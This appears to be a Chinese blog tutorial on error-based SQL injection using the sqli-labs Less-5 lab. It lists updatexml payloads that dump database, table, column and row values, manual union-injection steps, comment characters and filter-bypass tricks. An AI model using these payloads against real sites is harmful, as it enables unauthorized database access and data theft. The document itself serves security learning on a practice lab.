SQL注入之报错注入

报错注入 

以 sql1 less-5为例子

这关还有一个特点 那就是我们输入的sql语句不符合他的规则时 页面会将我们的具体错误给显示出来

image 157 1024x245 - SQL注入之报错注入

用报错注入

报错注入的输入格式为 updatexml(1,concat(0x7e,(database()),0x7e),1)

0x7e 是16进制 ~用来分隔文字的

image 158 1024x457 - SQL注入之报错注入

updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='a'  limit 0,1),0x7e),1)

查看该A库下的第一个表

image 159 1024x387 - SQL注入之报错注入

updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='b'  limit 0,1),0x7e),1)

查看A库下的B表第一个字段

image 160 1024x356 - SQL注入之报错注入

updatexml(1,concat(0x7e,(select c from a.b  limit 0,1),0x7e,1)

查看A库下的B表里的c字段的第一个值

image 161 1024x296 - SQL注入之报错注入

SQL注入总结

什么是sql注入?
SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

sql注入的类型

按照变量类型分字符型和数字型

按照Http提交方式分:POST,GET, Cookie

按照注入方式分:报错注入 ,盲注 (时间盲注,Boolean盲注),union注入

按照编码:宽字节注入

手工注入流程 (union注入)

判断传参类型 id=1'

查找回显点的个数:order by n

然后查询当前库:union select 1,2,database(),x,x --+

查询当前库下面所有的表名select group_concat(table_name) from information_schema.tables where table_schema ='A' --+

查询A表下面所有的字段名select group_concat(column) from information_schema.columns where table_name='B' --+

查询B字段下c d的字段值select group_concat(c,d) from A.B --+

常用的注释符: --+ and -- +空格 # /**/

SQL常见的绕过注入技术: 大小写绕过 双写绕过 编码绕过(url)

SQL注入之POST与cookie注入

上一篇

XSS(跨站脚本攻击)

下一篇
评论
发表评论 说点什么
还没有评论
15